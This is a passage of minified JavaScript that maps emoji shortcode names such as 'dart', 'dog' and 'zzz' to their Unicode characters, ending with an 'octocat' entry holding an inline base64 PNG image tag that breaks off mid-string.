_men:"👯&zwj;♂️",dango:"🍡",dark_sunglasses:"🕶",dart:"🎯",dash:"💨",date:"📅",deciduous_tree:"🌳",deer:"🦌",department_store:"🏬",derelict_house:"🏚",desert:"🏜",desert_island:"🏝",desktop_computer:"🖥",male_detective:"🕵️",diamond_shape_with_a_dot_inside:"💠",diamonds:"♦️",disappointed:"😞",disappointed_relieved:"😥",dizzy:"💫",dizzy_face:"😵",do_not_litter:"🚯",dog:"🐶",dog2:"🐕",dollar:"💵",dolls:"🎎",dolphin:"🐬",door:"🚪",doughnut:"🍩",dove:"🕊",dragon:"🐉",dragon_face:"🐲",dress:"👗",dromedary_camel:"🐪",drooling_face:"🤤",droplet:"💧",drum:"🥁",duck:"🦆",dvd:"📀","e-mail":"📧",eagle:"🦅",ear:"👂",ear_of_rice:"🌾",earth_africa:"🌍",earth_americas:"🌎",earth_asia:"🌏",egg:"🥚",eggplant:"🍆",eight_pointed_black_star:"✴️",eight_spoked_asterisk:"✳️",electric_plug:"🔌",elephant:"🐘",email:"✉️",end:"🔚",envelope_with_arrow:"📩",euro:"💶",european_castle:"🏰",european_post_office:"🏤",evergreen_tree:"🌲",exclamation:"❗️",expressionless:"😑",eye:"👁",eye_speech_bubble:"👁&zwj;🗨",eyeglasses:"👓",eyes:"👀",face_with_head_bandage:"🤕",face_with_thermometer:"🤒",fist_oncoming:"👊",factory:"🏭",fallen_leaf:"🍂",family_man_woman_boy:"👪",family_man_boy:"👨&zwj;👦",family_man_boy_boy:"👨&zwj;👦&zwj;👦",family_man_girl:"👨&zwj;👧",family_man_girl_boy:"👨&zwj;👧&zwj;👦",family_man_girl_girl:"👨&zwj;👧&zwj;👧",family_man_man_boy:"👨&zwj;👨&zwj;👦",family_man_man_boy_boy:"👨&zwj;👨&zwj;👦&zwj;👦",family_man_man_girl:"👨&zwj;👨&zwj;👧",family_man_man_girl_boy:"👨&zwj;👨&zwj;👧&zwj;👦",family_man_man_girl_girl:"👨&zwj;👨&zwj;👧&zwj;👧",family_man_woman_boy_boy:"👨&zwj;👩&zwj;👦&zwj;👦",family_man_woman_girl:"👨&zwj;👩&zwj;👧",family_man_woman_girl_boy:"👨&zwj;👩&zwj;👧&zwj;👦",family_man_woman_girl_girl:"👨&zwj;👩&zwj;👧&zwj;👧",family_woman_boy:"👩&zwj;👦",family_woman_boy_boy:"👩&zwj;👦&zwj;👦",family_woman_girl:"👩&zwj;👧",family_woman_girl_boy:"👩&zwj;👧&zwj;👦",family_woman_girl_girl:"👩&zwj;👧&zwj;👧",family_woman_woman_boy:"👩&zwj;👩&zwj;👦",family_woman_woman_boy_boy:"👩&zwj;👩&zwj;👦&zwj;👦",family_woman_woman_girl:"👩&zwj;👩&zwj;👧",family_woman_woman_girl_boy:"👩&zwj;👩&zwj;👧&zwj;👦",family_woman_woman_girl_girl:"👩&zwj;👩&zwj;👧&zwj;👧",fast_forward:"⏩",fax:"📠",fearful:"😨",feet:"🐾",female_detective:"🕵️&zwj;♀️",ferris_wheel:"🎡",ferry:"⛴",field_hockey:"🏑",file_cabinet:"🗄",file_folder:"📁",film_projector:"📽",film_strip:"🎞",fire:"🔥",fire_engine:"🚒",fireworks:"🎆",first_quarter_moon:"🌓",first_quarter_moon_with_face:"🌛",fish:"🐟",fish_cake:"🍥",fishing_pole_and_fish:"🎣",fist_raised:"✊",fist_left:"🤛",fist_right:"🤜",flags:"🎏",flashlight:"🔦",fleur_de_lis:"⚜️",flight_arrival:"🛬",flight_departure:"🛫",floppy_disk:"💾",flower_playing_cards:"🎴",flushed:"😳",fog:"🌫",foggy:"🌁",football:"🏈",footprints:"👣",fork_and_knife:"🍴",fountain:"⛲️",fountain_pen:"🖋",four_leaf_clover:"🍀",fox_face:"🦊",framed_picture:"🖼",free:"🆓",fried_egg:"🍳",fried_shrimp:"🍤",fries:"🍟",frog:"🐸",frowning:"😦",frowning_face:"☹️",frowning_man:"🙍&zwj;♂️",frowning_woman:"🙍",middle_finger:"🖕",fuelpump:"⛽️",full_moon:"🌕",full_moon_with_face:"🌝",funeral_urn:"⚱️",game_die:"🎲",gear:"⚙️",gem:"💎",gemini:"♊️",ghost:"👻",gift:"🎁",gift_heart:"💝",girl:"👧",globe_with_meridians:"🌐",goal_net:"🥅",goat:"🐐",golf:"⛳️",golfing_man:"🏌️",golfing_woman:"🏌️&zwj;♀️",gorilla:"🦍",grapes:"🍇",green_apple:"🍏",green_book:"📗",green_heart:"💚",green_salad:"🥗",grey_exclamation:"❕",grey_question:"❔",grimacing:"😬",grin:"😁",grinning:"😀",guardsman:"💂",guardswoman:"💂&zwj;♀️",guitar:"🎸",gun:"🔫",haircut_woman:"💇",haircut_man:"💇&zwj;♂️",hamburger:"🍔",hammer:"🔨",hammer_and_pick:"⚒",hammer_and_wrench:"🛠",hamster:"🐹",hand:"✋",handbag:"👜",handshake:"🤝",hankey:"💩",hatched_chick:"🐥",hatching_chick:"🐣",headphones:"🎧",hear_no_evil:"🙉",heart:"❤️",heart_decoration:"💟",heart_eyes:"😍",heart_eyes_cat:"😻",heartbeat:"💓",heartpulse:"💗",hearts:"♥️",heavy_check_mark:"✔️",heavy_division_sign:"➗",heavy_dollar_sign:"💲",heavy_heart_exclamation:"❣️",heavy_minus_sign:"➖",heavy_multiplication_x:"✖️",heavy_plus_sign:"➕",helicopter:"🚁",herb:"🌿",hibiscus:"🌺",high_brightness:"🔆",high_heel:"👠",hocho:"🔪",hole:"🕳",honey_pot:"🍯",horse:"🐴",horse_racing:"🏇",hospital:"🏥",hot_pepper:"🌶",hotdog:"🌭",hotel:"🏨",hotsprings:"♨️",hourglass:"⌛️",hourglass_flowing_sand:"⏳",house:"🏠",house_with_garden:"🏡",houses:"🏘",hugs:"🤗",hushed:"😯",ice_cream:"🍨",ice_hockey:"🏒",ice_skate:"⛸",icecream:"🍦",id:"🆔",ideograph_advantage:"🉐",imp:"👿",inbox_tray:"📥",incoming_envelope:"📨",tipping_hand_woman:"💁",information_source:"ℹ️",innocent:"😇",interrobang:"⁉️",iphone:"📱",izakaya_lantern:"🏮",jack_o_lantern:"🎃",japan:"🗾",japanese_castle:"🏯",japanese_goblin:"👺",japanese_ogre:"👹",jeans:"👖",joy:"😂",joy_cat:"😹",joystick:"🕹",kaaba:"🕋",key:"🔑",keyboard:"⌨️",keycap_ten:"🔟",kick_scooter:"🛴",kimono:"👘",kiss:"💋",kissing:"😗",kissing_cat:"😽",kissing_closed_eyes:"😚",kissing_heart:"😘",kissing_smiling_eyes:"😙",kiwi_fruit:"🥝",koala:"🐨",koko:"🈁",label:"🏷",large_blue_circle:"🔵",large_blue_diamond:"🔷",large_orange_diamond:"🔶",last_quarter_moon:"🌗",last_quarter_moon_with_face:"🌜",latin_cross:"✝️",laughing:"😆",leaves:"🍃",ledger:"📒",left_luggage:"🛅",left_right_arrow:"↔️",leftwards_arrow_with_hook:"↩️",lemon:"🍋",leo:"♌️",leopard:"🐆",level_slider:"🎚",libra:"♎️",light_rail:"🚈",link:"🔗",lion:"🦁",lips:"👄",lipstick:"💄",lizard:"🦎",lock:"🔒",lock_with_ink_pen:"🔏",lollipop:"🍭",loop:"➿",loud_sound:"🔊",loudspeaker:"📢",love_hotel:"🏩",love_letter:"💌",low_brightness:"🔅",lying_face:"🤥",m:"Ⓜ️",mag:"🔍",mag_right:"🔎",mahjong:"🀄️",mailbox:"📫",mailbox_closed:"📪",mailbox_with_mail:"📬",mailbox_with_no_mail:"📭",man:"👨",man_artist:"👨&zwj;🎨",man_astronaut:"👨&zwj;🚀",man_cartwheeling:"🤸&zwj;♂️",man_cook:"👨&zwj;🍳",man_dancing:"🕺",man_facepalming:"🤦&zwj;♂️",man_factory_worker:"👨&zwj;🏭",man_farmer:"👨&zwj;🌾",man_firefighter:"👨&zwj;🚒",man_health_worker:"👨&zwj;⚕️",man_in_tuxedo:"🤵",man_judge:"👨&zwj;⚖️",man_juggling:"🤹&zwj;♂️",man_mechanic:"👨&zwj;🔧",man_office_worker:"👨&zwj;💼",man_pilot:"👨&zwj;✈️",man_playing_handball:"🤾&zwj;♂️",man_playing_water_polo:"🤽&zwj;♂️",man_scientist:"👨&zwj;🔬",man_shrugging:"🤷&zwj;♂️",man_singer:"👨&zwj;🎤",man_student:"👨&zwj;🎓",man_teacher:"👨&zwj;🏫",man_technologist:"👨&zwj;💻",man_with_gua_pi_mao:"👲",man_with_turban:"👳",tangerine:"🍊",mans_shoe:"👞",mantelpiece_clock:"🕰",maple_leaf:"🍁",martial_arts_uniform:"🥋",mask:"😷",massage_woman:"💆",massage_man:"💆&zwj;♂️",meat_on_bone:"🍖",medal_military:"🎖",medal_sports:"🏅",mega:"📣",melon:"🍈",memo:"📝",men_wrestling:"🤼&zwj;♂️",menorah:"🕎",mens:"🚹",metal:"🤘",metro:"🚇",microphone:"🎤",microscope:"🔬",milk_glass:"🥛",milky_way:"🌌",minibus:"🚐",minidisc:"💽",mobile_phone_off:"📴",money_mouth_face:"🤑",money_with_wings:"💸",moneybag:"💰",monkey:"🐒",monkey_face:"🐵",monorail:"🚝",moon:"🌔",mortar_board:"🎓",mosque:"🕌",motor_boat:"🛥",motor_scooter:"🛵",motorcycle:"🏍",motorway:"🛣",mount_fuji:"🗻",mountain:"⛰",mountain_biking_man:"🚵",mountain_biking_woman:"🚵&zwj;♀️",mountain_cableway:"🚠",mountain_railway:"🚞",mountain_snow:"🏔",mouse:"🐭",mouse2:"🐁",movie_camera:"🎥",moyai:"🗿",mrs_claus:"🤶",muscle:"💪",mushroom:"🍄",musical_keyboard:"🎹",musical_note:"🎵",musical_score:"🎼",mute:"🔇",nail_care:"💅",name_badge:"📛",national_park:"🏞",nauseated_face:"🤢",necktie:"👔",negative_squared_cross_mark:"❎",nerd_face:"🤓",neutral_face:"😐",new:"🆕",new_moon:"🌑",new_moon_with_face:"🌚",newspaper:"📰",newspaper_roll:"🗞",next_track_button:"⏭",ng:"🆖",no_good_man:"🙅&zwj;♂️",no_good_woman:"🙅",night_with_stars:"🌃",no_bell:"🔕",no_bicycles:"🚳",no_entry:"⛔️",no_entry_sign:"🚫",no_mobile_phones:"📵",no_mouth:"😶",no_pedestrians:"🚷",no_smoking:"🚭","non-potable_water":"🚱",nose:"👃",notebook:"📓",notebook_with_decorative_cover:"📔",notes:"🎶",nut_and_bolt:"🔩",o:"⭕️",o2:"🅾️",ocean:"🌊",octopus:"🐙",oden:"🍢",office:"🏢",oil_drum:"🛢",ok:"🆗",ok_hand:"👌",ok_man:"🙆&zwj;♂️",ok_woman:"🙆",old_key:"🗝",older_man:"👴",older_woman:"👵",om:"🕉",on:"🔛",oncoming_automobile:"🚘",oncoming_bus:"🚍",oncoming_police_car:"🚔",oncoming_taxi:"🚖",open_file_folder:"📂",open_hands:"👐",open_mouth:"😮",open_umbrella:"☂️",ophiuchus:"⛎",orange_book:"📙",orthodox_cross:"☦️",outbox_tray:"📤",owl:"🦉",ox:"🐂",package:"📦",page_facing_up:"📄",page_with_curl:"📃",pager:"📟",paintbrush:"🖌",palm_tree:"🌴",pancakes:"🥞",panda_face:"🐼",paperclip:"📎",paperclips:"🖇",parasol_on_ground:"⛱",parking:"🅿️",part_alternation_mark:"〽️",partly_sunny:"⛅️",passenger_ship:"🛳",passport_control:"🛂",pause_button:"⏸",peace_symbol:"☮️",peach:"🍑",peanuts:"🥜",pear:"🍐",pen:"🖊",pencil2:"✏️",penguin:"🐧",pensive:"😔",performing_arts:"🎭",persevere:"😣",person_fencing:"🤺",pouting_woman:"🙎",phone:"☎️",pick:"⛏",pig:"🐷",pig2:"🐖",pig_nose:"🐽",pill:"💊",pineapple:"🍍",ping_pong:"🏓",pisces:"♓️",pizza:"🍕",place_of_worship:"🛐",plate_with_cutlery:"🍽",play_or_pause_button:"⏯",point_down:"👇",point_left:"👈",point_right:"👉",point_up:"☝️",point_up_2:"👆",police_car:"🚓",policewoman:"👮&zwj;♀️",poodle:"🐩",popcorn:"🍿",post_office:"🏣",postal_horn:"📯",postbox:"📮",potable_water:"🚰",potato:"🥔",pouch:"👝",poultry_leg:"🍗",pound:"💷",rage:"😡",pouting_cat:"😾",pouting_man:"🙎&zwj;♂️",pray:"🙏",prayer_beads:"📿",pregnant_woman:"🤰",previous_track_button:"⏮",prince:"🤴",princess:"👸",printer:"🖨",purple_heart:"💜",purse:"👛",pushpin:"📌",put_litter_in_its_place:"🚮",question:"❓",rabbit:"🐰",rabbit2:"🐇",racehorse:"🐎",racing_car:"🏎",radio:"📻",radio_button:"🔘",radioactive:"☢️",railway_car:"🚃",railway_track:"🛤",rainbow:"🌈",rainbow_flag:"🏳️&zwj;🌈",raised_back_of_hand:"🤚",raised_hand_with_fingers_splayed:"🖐",raised_hands:"🙌",raising_hand_woman:"🙋",raising_hand_man:"🙋&zwj;♂️",ram:"🐏",ramen:"🍜",rat:"🐀",record_button:"⏺",recycle:"♻️",red_circle:"🔴",registered:"®️",relaxed:"☺️",relieved:"😌",reminder_ribbon:"🎗",repeat:"🔁",repeat_one:"🔂",rescue_worker_helmet:"⛑",restroom:"🚻",revolving_hearts:"💞",rewind:"⏪",rhinoceros:"🦏",ribbon:"🎀",rice:"🍚",rice_ball:"🍙",rice_cracker:"🍘",rice_scene:"🎑",right_anger_bubble:"🗯",ring:"💍",robot:"🤖",rocket:"🚀",rofl:"🤣",roll_eyes:"🙄",roller_coaster:"🎢",rooster:"🐓",rose:"🌹",rosette:"🏵",rotating_light:"🚨",round_pushpin:"📍",rowing_man:"🚣",rowing_woman:"🚣&zwj;♀️",rugby_football:"🏉",running_man:"🏃",running_shirt_with_sash:"🎽",running_woman:"🏃&zwj;♀️",sa:"🈂️",sagittarius:"♐️",sake:"🍶",sandal:"👡",santa:"🎅",satellite:"📡",saxophone:"🎷",school:"🏫",school_satchel:"🎒",scissors:"✂️",scorpion:"🦂",scorpius:"♏️",scream:"😱",scream_cat:"🙀",scroll:"📜",seat:"💺",secret:"㊙️",see_no_evil:"🙈",seedling:"🌱",selfie:"🤳",shallow_pan_of_food:"🥘",shamrock:"☘️",shark:"🦈",shaved_ice:"🍧",sheep:"🐑",shell:"🐚",shield:"🛡",shinto_shrine:"⛩",ship:"🚢",shirt:"👕",shopping:"🛍",shopping_cart:"🛒",shower:"🚿",shrimp:"🦐",signal_strength:"📶",six_pointed_star:"🔯",ski:"🎿",skier:"⛷",skull:"💀",skull_and_crossbones:"☠️",sleeping:"😴",sleeping_bed:"🛌",sleepy:"😪",slightly_frowning_face:"🙁",slightly_smiling_face:"🙂",slot_machine:"🎰",small_airplane:"🛩",small_blue_diamond:"🔹",small_orange_diamond:"🔸",small_red_triangle:"🔺",small_red_triangle_down:"🔻",smile:"😄",smile_cat:"😸",smiley:"😃",smiley_cat:"😺",smiling_imp:"😈",smirk:"😏",smirk_cat:"😼",smoking:"🚬",snail:"🐌",snake:"🐍",sneezing_face:"🤧",snowboarder:"🏂",snowflake:"❄️",snowman:"⛄️",snowman_with_snow:"☃️",sob:"😭",soccer:"⚽️",soon:"🔜",sos:"🆘",sound:"🔉",space_invader:"👾",spades:"♠️",spaghetti:"🍝",sparkle:"❇️",sparkler:"🎇",sparkles:"✨",sparkling_heart:"💖",speak_no_evil:"🙊",speaker:"🔈",speaking_head:"🗣",speech_balloon:"💬",speedboat:"🚤",spider:"🕷",spider_web:"🕸",spiral_calendar:"🗓",spiral_notepad:"🗒",spoon:"🥄",squid:"🦑",stadium:"🏟",star:"⭐️",star2:"🌟",star_and_crescent:"☪️",star_of_david:"✡️",stars:"🌠",station:"🚉",statue_of_liberty:"🗽",steam_locomotive:"🚂",stew:"🍲",stop_button:"⏹",stop_sign:"🛑",stopwatch:"⏱",straight_ruler:"📏",strawberry:"🍓",stuck_out_tongue:"😛",stuck_out_tongue_closed_eyes:"😝",stuck_out_tongue_winking_eye:"😜",studio_microphone:"🎙",stuffed_flatbread:"🥙",sun_behind_large_cloud:"🌥",sun_behind_rain_cloud:"🌦",sun_behind_small_cloud:"🌤",sun_with_face:"🌞",sunflower:"🌻",sunglasses:"😎",sunny:"☀️",sunrise:"🌅",sunrise_over_mountains:"🌄",surfing_man:"🏄",surfing_woman:"🏄&zwj;♀️",sushi:"🍣",suspension_railway:"🚟",sweat:"😓",sweat_drops:"💦",sweat_smile:"😅",sweet_potato:"🍠",swimming_man:"🏊",swimming_woman:"🏊&zwj;♀️",symbols:"🔣",synagogue:"🕍",syringe:"💉",taco:"🌮",tada:"🎉",tanabata_tree:"🎋",taurus:"♉️",taxi:"🚕",tea:"🍵",telephone_receiver:"📞",telescope:"🔭",tennis:"🎾",tent:"⛺️",thermometer:"🌡",thinking:"🤔",thought_balloon:"💭",ticket:"🎫",tickets:"🎟",tiger:"🐯",tiger2:"🐅",timer_clock:"⏲",tipping_hand_man:"💁&zwj;♂️",tired_face:"😫",tm:"™️",toilet:"🚽",tokyo_tower:"🗼",tomato:"🍅",tongue:"👅",top:"🔝",tophat:"🎩",tornado:"🌪",trackball:"🖲",tractor:"🚜",traffic_light:"🚥",train:"🚋",train2:"🚆",tram:"🚊",triangular_flag_on_post:"🚩",triangular_ruler:"📐",trident:"🔱",triumph:"😤",trolleybus:"🚎",trophy:"🏆",tropical_drink:"🍹",tropical_fish:"🐠",truck:"🚚",trumpet:"🎺",tulip:"🌷",tumbler_glass:"🥃",turkey:"🦃",turtle:"🐢",tv:"📺",twisted_rightwards_arrows:"🔀",two_hearts:"💕",two_men_holding_hands:"👬",two_women_holding_hands:"👭",u5272:"🈹",u5408:"🈴",u55b6:"🈺",u6307:"🈯️",u6708:"🈷️",u6709:"🈶",u6e80:"🈵",u7121:"🈚️",u7533:"🈸",u7981:"🈲",u7a7a:"🈳",umbrella:"☔️",unamused:"😒",underage:"🔞",unicorn:"🦄",unlock:"🔓",up:"🆙",upside_down_face:"🙃",v:"✌️",vertical_traffic_light:"🚦",vhs:"📼",vibration_mode:"📳",video_camera:"📹",video_game:"🎮",violin:"🎻",virgo:"♍️",volcano:"🌋",volleyball:"🏐",vs:"🆚",vulcan_salute:"🖖",walking_man:"🚶",walking_woman:"🚶&zwj;♀️",waning_crescent_moon:"🌘",waning_gibbous_moon:"🌖",warning:"⚠️",wastebasket:"🗑",watch:"⌚️",water_buffalo:"🐃",watermelon:"🍉",wave:"👋",wavy_dash:"〰️",waxing_crescent_moon:"🌒",wc:"🚾",weary:"😩",wedding:"💒",weight_lifting_man:"🏋️",weight_lifting_woman:"🏋️&zwj;♀️",whale:"🐳",whale2:"🐋",wheel_of_dharma:"☸️",wheelchair:"♿️",white_check_mark:"✅",white_circle:"⚪️",white_flag:"🏳️",white_flower:"💮",white_large_square:"⬜️",white_medium_small_square:"◽️",white_medium_square:"◻️",white_small_square:"▫️",white_square_button:"🔳",wilted_flower:"🥀",wind_chime:"🎐",wind_face:"🌬",wine_glass:"🍷",wink:"😉",wolf:"🐺",woman:"👩",woman_artist:"👩&zwj;🎨",woman_astronaut:"👩&zwj;🚀",woman_cartwheeling:"🤸&zwj;♀️",woman_cook:"👩&zwj;🍳",woman_facepalming:"🤦&zwj;♀️",woman_factory_worker:"👩&zwj;🏭",woman_farmer:"👩&zwj;🌾",woman_firefighter:"👩&zwj;🚒",woman_health_worker:"👩&zwj;⚕️",woman_judge:"👩&zwj;⚖️",woman_juggling:"🤹&zwj;♀️",woman_mechanic:"👩&zwj;🔧",woman_office_worker:"👩&zwj;💼",woman_pilot:"👩&zwj;✈️",woman_playing_handball:"🤾&zwj;♀️",woman_playing_water_polo:"🤽&zwj;♀️",woman_scientist:"👩&zwj;🔬",woman_shrugging:"🤷&zwj;♀️",woman_singer:"👩&zwj;🎤",woman_student:"👩&zwj;🎓",woman_teacher:"👩&zwj;🏫",woman_technologist:"👩&zwj;💻",woman_with_turban:"👳&zwj;♀️",womans_clothes:"👚",womans_hat:"👒",women_wrestling:"🤼&zwj;♀️",womens:"🚺",world_map:"🗺",worried:"😟",wrench:"🔧",writing_hand:"✍️",x:"❌",yellow_heart:"💛",yen:"💴",yin_yang:"☯️",yum:"😋",zap:"⚡️",zipper_mouth_face:"🤐",zzz:"💤",octocat:'<img width="20" height="20" align="absmiddle" src="data:image/png;base64,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